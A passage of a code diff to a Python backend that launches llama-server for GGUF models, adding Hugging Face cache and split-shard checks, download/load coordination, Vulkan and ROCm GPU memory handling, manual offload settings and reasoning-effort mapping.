+            if not candidate.is_file():
+                continue
+            if expected_size:
+                try:
+                    if candidate.stat().st_size < expected_size:
+                        continue
+                except OSError:
+                    continue
+            return str(candidate)
+    except Exception as e:
+        logger.debug("Snapshot cache lookup failed for %s/%s: %s", repo_id, filename, e)
+    return None
+
+
+def _snapshot_has_all_shards(
+    main_path: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int]
+) -> bool:
+    """True when every shard sits beside ``main_path`` in the same cache snapshot.
+
+    llama.cpp loads a split GGUF by resolving its siblings from the main shard's
+    directory, so a cached main shard is only safe to reuse when the rest of the
+    set is co-located; otherwise the caller must fetch the whole set together.
+    """
+    root = Path(main_path)
+    for _ in [part for part in main_filename.replace("\\", "/").split("/") if part]:
+        root = root.parent
+    for shard in shards:
+        parts = [part for part in shard.replace("\\", "/").split("/") if part]
+        if not parts or any(part in (".", "..") for part in parts):
+            return False
+        sibling = root.joinpath(*parts)
+        try:
+            if not sibling.is_file():
+                return False
+            expected = expected_sizes.get(shard)
+            if expected and sibling.stat().st_size < expected:
+                return False
+        except OSError:
+            return False
+    return True
+
+
+def _resolve_repo_id_casing(hf_repo: str) -> str:
+    """Map a requested repo id to its cached canonical casing, or return it unchanged.
+
+    A case-variant request (for example a lowercased id) resolves to the
+    canonical-cased cache directory so the main GGUF and its companions
+    (mmproj / MTP drafter) all read the same cache entry. Returns ``hf_repo``
+    unchanged when resolution is unavailable or errors.
+    """
+    try:
+        from utils.paths import resolve_cached_repo_id_case
+        return resolve_cached_repo_id_case(hf_repo)
+    except Exception:
+        return hf_repo
+
+
+def _cached_colocated_split_main(
+    repo_id: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int]
+) -> Optional[str]:
+    """Main-shard path from a cache snapshot that also holds every sibling shard.
+
+    A newer snapshot may hold only the first shard while an older snapshot has the
+    complete split set. ``_cached_hf_snapshot_file`` would return that newer partial
+    main and the co-location check would then force a refetch, so scan snapshots for
+    one where the whole set is present and return that main path instead. None when
+    no snapshot holds the full set.
+    """
+    main_parts = [part for part in main_filename.replace("\\", "/").split("/") if part]
+    if not main_parts or any(part in (".", "..") for part in main_parts):
+        return None
+    try:
+        from utils.models.model_config import _iter_hf_cache_snapshots
+        for snap in _iter_hf_cache_snapshots(repo_id):
+            main_path = snap.joinpath(*main_parts)
+            if not main_path.is_file():
+                continue
+            expected_main = expected_sizes.get(main_filename)
+            try:
+                if expected_main and main_path.stat().st_size < expected_main:
+                    continue
+            except OSError:
+                continue
+            if _snapshot_has_all_shards(str(main_path), main_filename, shards, expected_sizes):
+                return str(main_path)
+    except Exception as e:
+        logger.debug("Co-located split snapshot lookup failed for %s: %s", repo_id, e)
+    return None
+
+
+def _cached_variant_resolution(repo_id: str, hf_variant: str) -> tuple[Optional[str], list[str]]:
+    """Find a cached main GGUF and its shards for a variant."""
+    candidate = next(_cached_variant_candidates(repo_id, hf_variant), None)
+    if candidate is None:
+        return None, []
+    _, main, shards, _ = candidate
+    return main, shards
+
+
+def _cached_variant_candidates(
+    repo_id: str,
+    hf_variant: str,
+    *,
+    require_mmproj: bool = False,
+) -> Generator[tuple[str, str, list[str], Path], None, None]:
+    """Yield complete cached variant copies in snapshot preference order."""
+    try:
+        from utils.models.model_config import _iter_hf_cache_snapshots
+        for snap in _iter_hf_cache_snapshots(repo_id):
+            cached_files = _gguf_snapshot_files(snap)
+            matches = _gguf_files_for_variant(cached_files, hf_variant)
+            if not matches:
+                continue
+            main = matches[0]
+            shards = _gguf_extra_shards(matches, main)
+            split = _SHARD_FULL_RE.match(main)
+            if split:
+                numbers = {
+                    int(match.group(2))
+                    for path in [main, *shards]
+                    if (match := _SHARD_FULL_RE.match(path))
+                }
+                if numbers != set(range(1, int(split.group(3)) + 1)):
+                    continue
+            main_path = snap.joinpath(*main.replace("\\", "/").split("/"))
+            if not main_path.is_file() or not _snapshot_has_all_shards(
+                str(main_path), main, shards, {}
+            ):
+                continue
+            if require_mmproj and not _pick_mmproj(cached_files):
+                continue
+            yield str(main_path), main, shards, snap
+    except Exception as e:
+        logger.debug(f"Cache lookup for variant failed: {e}")
+
+
+def _cached_candidate_matches_revision_size(
+    repo_id: str, candidate: tuple[str, str, list[str], Path], hf_token: Optional[str]
+) -> bool:
+    """Check cached byte sizes against the snapshot's own Hub revision.
+
+    A snapshot pointer is normally published only after its blob is complete.
+    When the old revision is still queryable, also compare every weight file's
+    size so a manually truncated cache entry is not treated as reusable. If
+    metadata cannot be reached, retain the cache's normal offline semantics.
+    """
+    main_path, main, shards, snap = candidate
+    paths = [main, *shards]
+    try:
+        from huggingface_hub import get_paths_info
+        infos = list(
+            get_paths_info(
+                repo_id,
+                paths,
+                revision = snap.name,
+                token = hf_token,
+            )
+        )
+    except Exception as e:
+        logger.debug(
+            "Could not size-check cached GGUF %s at revision %s: %s",
+            repo_id,
+            snap.name,
+            e,
+        )
+        return True
+
+    if not infos:
+        # The Hub answers an unknown (e.g. force-pushed away) revision with an
+        # empty result, not an error; treat it like unreachable metadata.
+        return True
+    expected_sizes = {info.path: info.size for info in infos if info.size is not None}
+    if any(path not in expected_sizes for path in paths):
+        return False
+    try:
+        if os.path.getsize(main_path) < expected_sizes[main]:
+            return False
+    except OSError:
+        return False
+    return _snapshot_has_all_shards(main_path, main, shards, expected_sizes)
+
+
+def _cached_complete_candidate(
+    repo_id: str, gguf_filename: Optional[str], shards: list[str]
+) -> Optional[tuple[str, str, list[str], Path]]:
+    """Return one complete exact-filename cache candidate with snapshot context."""
+    if not gguf_filename:
+        return None
+    if shards:
+        main_path = _cached_colocated_split_main(repo_id, gguf_filename, shards, {})
+    else:
+        m = _SHARD_FULL_RE.match(gguf_filename)
+        if m and int(m.group(3)) > 1:
+            return None
+        main_path = _cached_hf_snapshot_file(repo_id, gguf_filename)
+    if main_path is None:
+        return None
+    snap = _snapshot_dir_of(main_path)
+    if snap is None:
+        return None
+    return main_path, gguf_filename, shards, snap
+
+
+def cached_gguf_for_load(
+    hf_repo: str,
+    hf_variant: Optional[str],
+    *,
+    require_mmproj: bool = False,
+    verify_sizes: bool = False,
+    hf_token: Optional[str] = None,
+) -> Optional[str]:
+    """Return a cached GGUF that can be loaded without downloading."""
+    if not hf_variant:
+        return None
+    hf_repo = _resolve_repo_id_casing(hf_repo)
+    for candidate in _cached_variant_candidates(
+        hf_repo,
+        hf_variant,
+        require_mmproj = require_mmproj,
+    ):
+        if verify_sizes and not _cached_candidate_matches_revision_size(
+            hf_repo, candidate, hf_token
+        ):
+            continue
+        return candidate[0]
+    return None
+
+
+def _snapshot_dir_of(path: str) -> Optional[Path]:
+    """Return the HF cache snapshot containing path, if any."""
+    try:
+        p = Path(os.path.abspath(path))
+    except OSError:
+        return None
+    for ancestor in p.parents:
+        if ancestor.parent.name == "snapshots":
+            return ancestor
+    return None
+
+
+def _hub_cache_dir_for_snapshot_path(path: Optional[str]) -> Optional[str]:
+    """Return the HF Hub cache root that owns a snapshot-contained path."""
+    if not path:
+        return None
+    snapshot = _snapshot_dir_of(path)
+    if snapshot is None or snapshot.parent.name != "snapshots":
+        return None
+    return str(snapshot.parent.parent.parent)
+
+
+def _companion_snapshot_sibling(
+    near_path: str, pick: Callable[[list[str]], Optional[str]]
+) -> Optional[str]:
+    """Find a companion in the same snapshot as near_path."""
+    snap = _snapshot_dir_of(near_path)
+    if snap is None:
+        return None
+    try:
+        sibling = pick(_gguf_snapshot_files(snap))
+    except Exception:
+        return None
+    if not sibling:
+        return None
+    candidate = snap / sibling
+    return str(candidate) if candidate.is_file() else None
+
+
+def _pick_mmproj(candidates: list[str]) -> Optional[str]:
+    mmproj_files = sorted(
+        f for f in candidates if f.lower().endswith(".gguf") and "mmproj" in Path(f).name.lower()
+    )
+    if not mmproj_files:
+        return None
+    return next((f for f in mmproj_files if f.lower().endswith("-f16.gguf")), mmproj_files[0])
+
+
+def _hub_download_in_flight(hf_repo: str) -> bool:
+    try:
+        from hub.utils.download_registry import get_models_registry
+        return bool(get_models_registry().active_job_refs(hf_repo))
+    except Exception:
+        return False
+
+
+def _hub_download_blocks_gguf_load(
+    hf_repo: str,
+    hf_variant: Optional[str],
+    *,
+    require_mmproj: bool = False,
+    hf_token: Optional[str] = None,
+) -> bool:
+    """Whether an active Hub job makes this GGUF load unsafe.
+
+    Same-variant jobs can reclaim the stale snapshot a load would reuse, so
+    they always block. Other jobs block only when this load lacks a complete
+    cached copy and would write to the shared cache itself.
+    """
+    try:
+        from hub.utils.download_registry import get_models_registry
+
+        registry = get_models_registry()
+        if not registry.active_job_refs(hf_repo):
+            return False
+        if registry.has_active_variant(hf_repo, hf_variant):
+            return True
+    except Exception:
+        return False
+    return (
+        cached_gguf_for_load(
+            hf_repo,
+            hf_variant,
+            require_mmproj = require_mmproj,
+            verify_sizes = True,
+            hf_token = hf_token,
+        )
+        is None
+    )
+
+
+# Active GGUF loads by normalized repo ID.
+_LOADS_IN_FLIGHT: dict[str, int] = {}
+_LOADS_IN_FLIGHT_LOCK = threading.Lock()
+
+
+@contextlib.contextmanager
+def gguf_load_in_flight(hf_repo: Optional[str]):
+    """Track an HF GGUF load until the context exits."""
+    key = (hf_repo or "").strip().lower()
+    if not key:
+        yield
+        return
+    with _LOADS_IN_FLIGHT_LOCK:
+        _LOADS_IN_FLIGHT[key] = _LOADS_IN_FLIGHT.get(key, 0) + 1
+    try:
+        yield
+    finally:
+        with _LOADS_IN_FLIGHT_LOCK:
+            remaining = _LOADS_IN_FLIGHT.get(key, 1) - 1
+            if remaining <= 0:
+                _LOADS_IN_FLIGHT.pop(key, None)
+            else:
+                _LOADS_IN_FLIGHT[key] = remaining
+
+
+def hf_gguf_load_in_flight(hf_repo: str) -> bool:
+    """Return whether a GGUF load is active for hf_repo."""
+    key = (hf_repo or "").strip().lower()
+    if not key:
+        return False
+    with _LOADS_IN_FLIGHT_LOCK:
+        return _LOADS_IN_FLIGHT.get(key, 0) > 0
+
+
+def _with_gguf_load_marker(load: Callable):
+    """Keep an HF repo marked for the full synchronous load call."""
+
+    @functools.wraps(load)
+    def wrapped(self, *args, **kwargs):
+        hf_repo = kwargs.get("hf_repo")
+        with gguf_load_in_flight(hf_repo):
+            if hf_repo and _hub_download_blocks_gguf_load(
+                hf_repo,
+                kwargs.get("hf_variant"),
+                require_mmproj = bool(
+                    kwargs.get("is_vision")
+                    and not extra_args_disable_mmproj(kwargs.get("extra_args"))
+                ),
+                hf_token = kwargs.get("hf_token"),
+            ):
+                raise RuntimeError(
+                    f"'{hf_repo}' is currently being downloaded by the download manager"
+                )
+            return load(self, *args, **kwargs)
+
+    return wrapped
+
+
 def _gguf_extra_shards(files: Iterable[str], first_shard: str) -> list[str]:
     m = _SHARD_FULL_RE.match(first_shard)
     if not m:
@@ -833,7 +1477,7 @@ def _kv_bytes_per_elem(cache_type: Optional[str]) -> float:
 
 def _env_main_cache_type_for_budget(env: Optional[Mapping[str, str]] = None) -> Optional[str]:
     """Heavier of the inherited LLAMA_ARG_CACHE_TYPE_K/_V env types when it
-    exceeds the f16 default, else None. Studio emits --cache-type only for the
+    exceeds the f16 default, else None. Unsloth emits --cache-type only for the
     param/extras path, so a heavier env (f32) would otherwise reach the child
     unbudgeted; quantized env types stay over-reserved by f16 (-> None)."""
     e = os.environ if env is None else env
@@ -901,7 +1545,10 @@ def _extra_args_set_spec_type(extra_args: Optional[Iterable[str]]) -> bool:
     return _extra_args_set_any_flag(extra_args, {"--spec-type", "--spec-default"})
 
 
-_GPU_OFFLOAD_OVERRIDE_FLAGS = frozenset({"-ngl", "--gpu-layers", "--n-gpu-layers", "-fit", "--fit"})
+# Layer-offload override detection. Single-sourced from llama_server_args, which
+# also strips these (plus the MoE flags) from inherited extras; sharing the layer
+# set keeps detection and stripping from drifting.
+_GPU_OFFLOAD_OVERRIDE_FLAGS = _LAYER_OFFLOAD_FLAGS
 _THREAD_OVERRIDE_FLAGS = frozenset({"-t", "--threads"})
 
 
@@ -1152,7 +1799,7 @@ def _build_ngram_mod_flags(
     return []
 
 
-# Canonical Speculative Decoding modes exposed by the Studio chat UI.
+# Canonical Speculative Decoding modes exposed by the Unsloth chat UI.
 # Dropdown renders five (auto, mtp, ngram, mtp+ngram, off); the load API
 # also accepts legacy values the original Switch and external callers emit
 # (default, draft-mtp, ngram-mod, ngram-simple).
@@ -1201,7 +1848,7 @@ def _backfill_usage_from_timings(usage, timings):
     """Synthesize ``usage`` from llama-server's ``timings`` when the
     OpenAI-style usage block is missing or reports zero tokens.
 
-    The Studio chat UI computes generation t/s from
+    The Unsloth chat UI computes generation t/s from
     ``meta.usage.completion_tokens / totalStreamTime``. llama-server always
     populates ``timings.predicted_n`` (true decoded count) and
     ``timings.prompt_n``, but the final SSE chunk's ``usage`` can be absent
@@ -1227,10 +1874,54 @@ def _backfill_usage_from_timings(usage, timings):
     return out
 
 
+def _vulkan_lib_filename() -> str:
+    return "ggml-vulkan.dll" if sys.platform == "win32" else "libggml-vulkan.so"
+
+
+# Host RAM to leave free on an integrated GPU, matching llama.cpp's own --fit
+# margin (default 1024 MiB per device). ggml reports an iGPU's "VRAM" as shared
+# system RAM, so hold back the same margin rather than inventing a larger one.
+_IGPU_HOST_RESERVE_MIB = 1024
+
+
+def _apply_igpu_host_reserve_mib(free_mib: int, is_igpu: bool) -> int:
+    """Reserve host headroom on an integrated (shared-memory) Vulkan GPU.
+
+    An iGPU's reported free "VRAM" is really free system RAM, so sizing
+    context/offload against all of it would push the host into swap or the OOM
+    killer. Leave the same margin llama.cpp's --fit uses. ``is_igpu`` comes from
+    ggml's device type, so a discrete card is never touched; only ever reduces.
+    """
+    if not is_igpu:
+        return free_mib
+    return max(0, free_mib - _IGPU_HOST_RESERVE_MIB)
+
+
+def _llama_lib_dir(binary: str) -> Path:
+    # The installer exposes llama-server as a top-level entrypoint into build/bin/,
+    # where the ggml backend libs live, so callers looking for sibling libs (Vulkan
+    # detection, LD_LIBRARY_PATH, probe bindir) need the real dir. It is normally a
+    # symlink (resolve() reaches build/bin), but create_exec_entrypoint falls back to
+    # a shell wrapper (exec "$(dirname "$0")/build/bin/llama-server" "$@") when it
+    # cannot symlink, and resolve() stops at the wrapper file. Follow the wrapper's
+    # exec target too, so a wrapper-based install still finds build/bin.
+    resolved = Path(binary).resolve()
+    try:
+        with open(resolved, "rb") as _f:
+            _head = _f.read(256)
+        if _head.startswith(b"#!"):
+            _m = re.search(r'exec "\$\(dirname "\$0"\)/([^"]+)"', _head.decode("utf-8", "ignore"))
+            if _m:
+                return (resolved.parent / _m.group(1)).resolve().parent
+    except OSError:
+        pass
+    return resolved.parent
+
+
 def _is_external_link(path: Path) -> bool:
     """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
     or a Windows directory junction / reparse point. Such a link resolves into
-    the user's own llama.cpp checkout, which Studio does not own."""
+    the user's own llama.cpp checkout, which Unsloth does not own."""
     try:
         if os.path.islink(path):
             return True
@@ -1246,6 +1937,31 @@ def _is_external_link(path: Path) -> bool:
     return False
 
 
+# Inkling's template takes a numeric thinking-effort dial (0..0.99) and its
+# float() coercion turns unrecognized named levels into 0, i.e. no thinking.
+# Map OpenAI-style names to the values the model was trained on. Module-level
+# so duck-typed engine stand-ins in tests do not need the attribute.
+_INKLING_REASONING_EFFORT = {
+    "none": 0.0,
+    "minimal": 0.1,
+    "low": 0.2,
+    "medium": 0.7,
+    "high": 0.9,
+    "xhigh": 0.99,
+    "max": 0.99,
+}
+
+
+def _coerce_reasoning_effort(architecture, kwargs: dict) -> dict:
+    if architecture == "inkling":
+        effort = kwargs.get("reasoning_effort")
+        if isinstance(effort, str):
+            mapped = _INKLING_REASONING_EFFORT.get(effort.strip().lower())
+            if mapped is not None:
+                kwargs["reasoning_effort"] = mapped
+    return kwargs
+
+
 class LlamaCppBackend:
     """Manages a llama-server subprocess for GGUF model inference.
 
@@ -1284,6 +2000,7 @@ class LlamaCppBackend:
         self._context_length: Optional[int] = None
         self._effective_context_length: Optional[int] = None
         self._max_context_length: Optional[int] = None
+        self._effective_parallel_slots: int = 1
         self._chat_template: Optional[str] = None
         self._chat_template_override: Optional[str] = None
         self._supports_reasoning: bool = False
@@ -1295,6 +2012,17 @@ class LlamaCppBackend:
         self._cache_type_kv: Optional[str] = None
         # Whether --split-mode tensor was applied on the active load.
         self._tensor_parallel: bool = False
+        # GPU memory strategy applied on the active load ("auto"/"manual").
+        self._gpu_memory_mode: str = "auto"
+        # Manual-mode load options (echoed back so the UI round-trips them).
+        self._gpu_layers: int = -1
+        # MoE expert layers to keep on CPU (--n-cpu-moe); 0 = none.
+        self._n_cpu_moe: int = 0
+        # Relative model share per GPU (--tensor-split), in GPU order; None =
+        # default (llama.cpp splits by free VRAM).
+        self._tensor_split: Optional[List[float]] = None
+        # User-picked physical GPU indices (None = automatic selection).
+        self._gpu_ids: Optional[List[int]] = None
         # Layer load kept multi-GPU only to honor a downgraded tensor request, so a
         # later explicit tensor-off reloads instead of deduping to it (#6659).
         self._layer_preserves_tensor_intent: bool = False
@@ -1309,6 +2037,11 @@ class LlamaCppBackend:
         self._spec_draft_n_max: Optional[int] = None
         # KV-cache estimation fields (populated by _read_gguf_metadata)
         self._n_layers: Optional[int] = None
+        # MoE metadata (populated by _read_gguf_metadata): expert count (>0 =
+        # MoE) and leading dense-layer count (offsets --n-cpu-moe, which counts
+        # from layer 0). See the n_moe_layers property.
+        self._n_experts: Optional[int] = None
+        self._leading_dense_block_count: Optional[int] = None
         self._n_kv_heads: Optional[int] = None
         self._n_kv_heads_by_layer: Optional[list[int]] = None
         self._n_heads: Optional[int] = None
@@ -1360,7 +2093,7 @@ class LlamaCppBackend:
         # observes it (direct proxy endpoints, or nothing in flight).
         self._mtp_watchdog_thread: Optional[threading.Thread] = None
         self._mtp_watchdog_stop = threading.Event()
-        # True when the launch actually runs MTP+tensor (Studio- or user/env-driven);
+        # True when the launch actually runs MTP+tensor (Unsloth- or user/env-driven);
         # gates the probe, watchdog, and recovery so pass-through MTP is covered.
         self._mtp_runtime_fallback_active = False
         self._stdout_lines: list[str] = []
@@ -1370,6 +2103,12 @@ class LlamaCppBackend:
         self._llama_log_path: Optional[Path] = None
         self._cancel_event = threading.Event()
         self._api_key: Optional[str] = None
+        self._slot_save_dir: Optional[str] = None
+        self._slot_save_binary: Optional[tuple[str, int]] = None
+        # (gguf_identity, launch_fingerprint) snapshotted at load, so a later slot
+        # save can tell whether the model files were swapped on disk since load.
+        self._slot_loaded_identity: Optional[tuple] = None
+        self._prompt_cache_disabled: bool = False
         # True once a probe has completed; cleared on transient failure.
         self._is_audio: bool = False
         self._audio_type: Optional[str] = None
@@ -1469,6 +2208,15 @@ class LlamaCppBackend:
         """Return the effective context length the server is running at."""
         return self._effective_context_length or self._context_length
 
+    @property
+    def effective_parallel_slots(self) -> int:
+        """Return the serving-slot count the active llama-server actually uses."""
+        try:
+            slots = int(getattr(self, "_effective_parallel_slots", 1))
+        except (TypeError, ValueError):
+            slots = 1
+        return max(1, slots)
+
     @property
     def max_context_length(self) -> Optional[int]:
         """Return the largest context that fits on this hardware at load time.
@@ -1485,6 +2233,16 @@ class LlamaCppBackend:
         """Return the model's native context length from GGUF metadata."""
         return self._context_length
 
+    def _commit_effective_parallel_slots(self, n_parallel: int) -> None:
+        try:
+            slots = int(n_parallel)
+        except (TypeError, ValueError):
+            slots = 1
+        self._effective_parallel_slots = max(1, slots)
+
+    def _reset_effective_parallel_slots(self) -> None:
+        self._effective_parallel_slots = 1
+
     @staticmethod
     def _read_rss_bytes(pid: int) -> Optional[int]:
         """Resident set size of ``pid`` in bytes, from /proc/<pid>/status (Linux).
@@ -1632,7 +2390,10 @@ class LlamaCppBackend:
             # the template's default effort (max) in place.
             return {"enable_thinking": enable_thinking}
         if self._reasoning_style == "reasoning_effort":
-            return {"reasoning_effort": "high" if enable_thinking else "low"}
+            return _coerce_reasoning_effort(
+                getattr(self, "_architecture", None),
+                {"reasoning_effort": "high" if enable_thinking else "low"},
+            )
         return {"enable_thinking": enable_thinking}
 
     def _request_reasoning_kwargs(
@@ -1660,9 +2421,13 @@ class LlamaCppBackend:
                 # 'low' effort the way gpt-oss does (those models genuinely
                 # cannot disable).
                 thinking_off = enable_thinking is False or reasoning_effort == "none"
-                if enable_thinking is not None or reasoning_effort == "none":
+                # A named effort level implies thinking on, so emit enable_thinking
+                # even if the caller sent only reasoning_effort (else the template
+                # defaults it off and the requested level never renders).
+                effort_on = reasoning_effort in self._reasoning_effort_levels
+                if enable_thinking is not None or reasoning_effort == "none" or effort_on:
                     kwargs["enable_thinking"] = not thinking_off
-                if not thinking_off and reasoning_effort in self._reasoning_effort_levels:
+                if not thinking_off and effort_on:
                     kwargs["reasoning_effort"] = reasoning_effort
             elif self._reasoning_style == "reasoning_effort":
                 if reasoning_effort in ("none", "low", "medium", "high"):
@@ -1676,6 +2441,7 @@ class LlamaCppBackend:
                     kwargs["enable_thinking"] = enable_thinking
         if self._supports_preserve_thinking and preserve_thinking is not None:
             kwargs["preserve_thinking"] = preserve_thinking
+        _coerce_reasoning_effort(getattr(self, "_architecture", None), kwargs)
         return kwargs or None
 
     @property
@@ -1686,6 +2452,13 @@ class LlamaCppBackend:
             return False
         return self._supports_tools
 
+    @property
+    def supports_tool_passthrough(self) -> bool:
+        # supports_tools is forced off for DiffusionGemma (its agentic loop drops the
+        # per-step canvas frames), but client passthrough skips that loop, so it uses
+        # the real _supports_tools.
+        return self._supports_tools
+
     @property
     def cache_type_kv(self) -> Optional[str]:
         return self._cache_type_kv
@@ -1695,6 +2468,79 @@ class LlamaCppBackend:
         """Whether --split-mode tensor is active on the loaded server."""
         return self._tensor_parallel
 
+    @property
+    def gpu_memory_mode(self) -> str:
+        """Active GPU memory strategy: 'auto' or 'manual' (gpu_layers < 0 = Auto/--fit, >= 0 = pinned)."""
+        return self._gpu_memory_mode
+
+    @property
+    def gpu_layers(self) -> int:
+        """Requested --gpu-layers for manual mode (-1 when not manual)."""
+        return self._gpu_layers
+
+    @property
+    def n_cpu_moe(self) -> int:
+        """MoE expert layers manual mode kept on CPU (--n-cpu-moe); 0 = none."""
+        return self._n_cpu_moe
+
+    @property
+    def tensor_split(self) -> Optional[List[float]]:
+        """Manual-mode relative model share per GPU (--tensor-split); None =
+        default (split by free VRAM)."""
+        return self._tensor_split
+
+    @property
+    def gpu_ids(self) -> Optional[List[int]]:
+        """User-picked physical GPU indices, or None for automatic selection."""
+        return self._gpu_ids
+
+    @property
+    def n_layers(self) -> Optional[int]:
+        """Model layer count (GGUF block_count), or None if unknown."""
+        return self._n_layers
+
+    @property
+    def n_moe_layers(self) -> int:
+        """Number of MoE expert layers (the --n-cpu-moe ceiling), 0 if not MoE.
+
+        block_count minus the leading dense layers (which carry no experts):
+        --n-cpu-moe counts from layer 0, so those dense layers are no-ops.
+        """
+        if not self._n_experts or not self._n_layers:
+            return 0
+        return max(0, self._n_layers - (self._leading_dense_block_count or 0))
+
+    @staticmethod
+    def _resolve_cpu_moe_flag(
+        n_cpu_moe: int, n_moe_layers: int, leading_dense: int
+    ) -> Optional[int]:
+        """The --n-cpu-moe value (absolute first-N layers), or None to omit it.
+
+        Clamps the requested count to the model's MoE layers, then offsets past
+        the leading dense layers (--n-cpu-moe counts from layer 0). Returns None
+        for nothing-to-offload (0 requested) or a non-MoE model.
+        """
+        if n_cpu_moe <= 0 or n_moe_layers <= 0:
+            return None
+        return leading_dense + min(n_cpu_moe, n_moe_layers)
+
+    @staticmethod
+    def _sanitize_tensor_split(tensor_split: Optional[List[float]]) -> List[float]:
+        """Per-GPU shares with negative and non-finite entries clamped to 0.
+
+        A direct caller's negative entry would launch a placement different
+        from the ratio the UI showed, and inf would pass a plain ``> 0`` total
+        gate and emit ``--tensor-split inf,...``. Returns [] for input that
+        can't be read as floats (the length gate at the call site then drops
+        the split).
+        """
+        try:
+            return [
+                x if math.isfinite(x) and x > 0.0 else 0.0 for x in (float(v) for v in tensor_split)
+            ]
+        except (TypeError, ValueError, OverflowError):
+            return []
+
     @property
     def layer_preserves_tensor_intent(self) -> bool:
         """True when a downgraded tensor request kept this layer load multi-GPU."""
@@ -1719,7 +2565,7 @@ class LlamaCppBackend:
 
     @staticmethod
     def _resolved_studio_root_and_is_legacy() -> "tuple[Optional[Path], bool]":
-        """Resolve the Studio install root and classify it as the legacy
+        """Resolve the Unsloth install root and classify it as the legacy
         ~/.unsloth/studio root vs. a custom (env/venv-inferred) root.
 
         Returns (resolved_root, is_legacy). On any import/resolution failure the
@@ -1896,10 +2742,12 @@ class LlamaCppBackend:
                 "spec_draft_n_max_flag": None,
                 "supports_kv_unified": False,
                 "supports_fit_ctx": False,
+                "supports_fit_target": False,
                 "supports_cache_ram": False,
                 "supports_ctx_checkpoints": False,
                 "supports_no_cache_prompt": False,
                 "supports_metrics": False,
+                "supports_slot_save": False,
             }
         try:
             mtime = int(Path(bin_path).stat().st_mtime)
@@ -1915,10 +2763,12 @@ class LlamaCppBackend:
         spec_draft_n_max_flag: Optional[str] = None
         supports_kv_unified = False
         supports_fit_ctx = False
+        supports_fit_target = False
         supports_cache_ram = False
         supports_ctx_checkpoints = False
         supports_no_cache_prompt = False
         supports_metrics = False
+        supports_slot_save = False
         try:
             probe_env = cls._llama_server_env_for_binary(bin_path)
             result = subprocess.run(
@@ -2012,10 +2862,12 @@ class LlamaCppBackend:
 
             supports_kv_unified = _is_real("--kv-unified")
             supports_fit_ctx = _is_real("--fit-ctx")
+            supports_fit_target = _is_real("--fit-target")
             supports_cache_ram = _is_real("--cache-ram")
             supports_ctx_checkpoints = _is_real("--ctx-checkpoints")
             supports_no_cache_prompt = _is_real("--no-cache-prompt")
             supports_metrics = _is_real("--metrics")
+            supports_slot_save = _is_real("--slot-save-path")
         except (OSError, subprocess.SubprocessError) as exc:
             logger.debug(f"llama-server --help probe failed: {exc}")
 
@@ -2028,10 +2880,12 @@ class LlamaCppBackend:
             "spec_draft_n_max_flag": spec_draft_n_max_flag,
             "supports_kv_unified": supports_kv_unified,
             "supports_fit_ctx": supports_fit_ctx,
+            "supports_fit_target": supports_fit_target,
             "supports_cache_ram": supports_cache_ram,
             "supports_ctx_checkpoints": supports_ctx_checkpoints,
             "supports_no_cache_prompt": supports_no_cache_prompt,
             "supports_metrics": supports_metrics,
+            "supports_slot_save": supports_slot_save,
         }
         cls._capability_cache[cache_key] = info
         return info
@@ -2058,6 +2912,30 @@ class LlamaCppBackend:
 
         return total
 
+    @staticmethod
+    def _is_vulkan_backend(binary: Optional[str] = None) -> bool:
+        """True if the installed llama.cpp build is Vulkan-only.
+
+        The official prebuilts are single-backend, so the Vulkan ggml lib next
+        to llama-server identifies a Vulkan build. Keeps the free-memory probe
+        and GPU pin in ggml's Vulkan device-index space. For a custom
+        multi-backend build with a CUDA or HIP ggml lib alongside Vulkan, defer
+        to that backend (torch-usable, better-understood probe/pin).
+        """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if not binary:
+            return False
+        lib_dir = _llama_lib_dir(binary)
+        if not (lib_dir / _vulkan_lib_filename()).is_file():
+            return False
+        for _backend in ("cuda", "hip"):
+            sibling = (
+                f"ggml-{_backend}.dll" if sys.platform == "win32" else f"libggml-{_backend}.so"
+            )
+            if (lib_dir / sibling).is_file():
+                return False
+        return True
+
     @staticmethod
     def _resolve_visible_physical_ids() -> Optional[list[int]]:
         """Physical GPU ids behind the active visibility mask (HIP/ROCR/CUDA on
@@ -2066,12 +2944,25 @@ class LlamaCppBackend:
         on the ordinal->physical mapping."""
         try:
             import torch
-            is_rocm = getattr(torch.version, "hip", None) is not None
+
+            # Same ROCm detection as _emit_child_gpu_visibility: AMD SDK wheels
+            # leave version.hip unset but encode "rocm" in __version__. The two
+            # must agree, else an inherited ROCR mask reads back as "no mask",
+            # ordinal 0 is labelled physical 0, and the child's new ROCR pin
+            # re-exposes the GPU the inherited mask was hiding.
+            is_rocm = (
+                getattr(torch.version, "hip", None) is not None
+                or "rocm" in getattr(torch, "__version__", "").lower()
+            )
         except Exception:
             is_rocm = False
         if is_rocm:
             hip_v = os.environ.get("HIP_VISIBLE_DEVICES")
-            rocr_v = os.environ.get("ROCR_VISIBLE_DEVICES")
+            # ROCR_VISIBLE_DEVICES is a Linux ROCr variable; Windows HIP has no
+            # ROCr layer, so a stray ROCR var there does not mask the runtime and
+            # must not be read as the ordinal->physical mapping (mirrors the
+            # Windows gate in _emit_child_gpu_visibility).
+            rocr_v = None if sys.platform == "win32" else os.environ.get("ROCR_VISIBLE_DEVICES")
             cvd = (
                 hip_v
                 if hip_v is not None
@@ -2088,6 +2979,103 @@ class LlamaCppBackend:
         except ValueError:
             return None
 
+    @staticmethod
+    def _emit_child_gpu_visibility(
+        env: dict,
+        pinned: str,
+        *,
+        prefer_rocr: bool = False,
+    ) -> None:
+        """Write the child's GPU visibility mask: CUDA, plus a ROCm mirror on AMD
+        (masking only CUDA_VISIBLE_DEVICES leaves an AMD child seeing every GPU).
+
+        Default: HIP_VISIBLE_DEVICES, clearing any inherited ROCR mask so the two
+        can't stack (ROCR re-indexes from 0, then a non-zero HIP pin points out of
+        range, HIP sees 0 devices, and llama.cpp falls back to CPU).
+
+        prefer_rocr masks at the ROCr/HSA layer instead (clearing HIP). A HIP mask
+        filters only AFTER the HSA runtime enumerates every agent, and that
+        enumeration segfaults at startup on a GPU the build has no kernels for
+        (e.g. a gfx1103 iGPU under a gfx110X prebuilt), before llama-server logs a
+        line. ROCR drops the device at the driver layer, consuming physical ids.
+        The CPU-only sentinel ("-1") has no portable ROCR spelling, so it keeps
+        the HIP mask. Windows keeps the HIP mask too: ROCR_VISIBLE_DEVICES is a
+        Linux ROCr variable (Windows HIP has no ROCr layer), so the ROCR pin
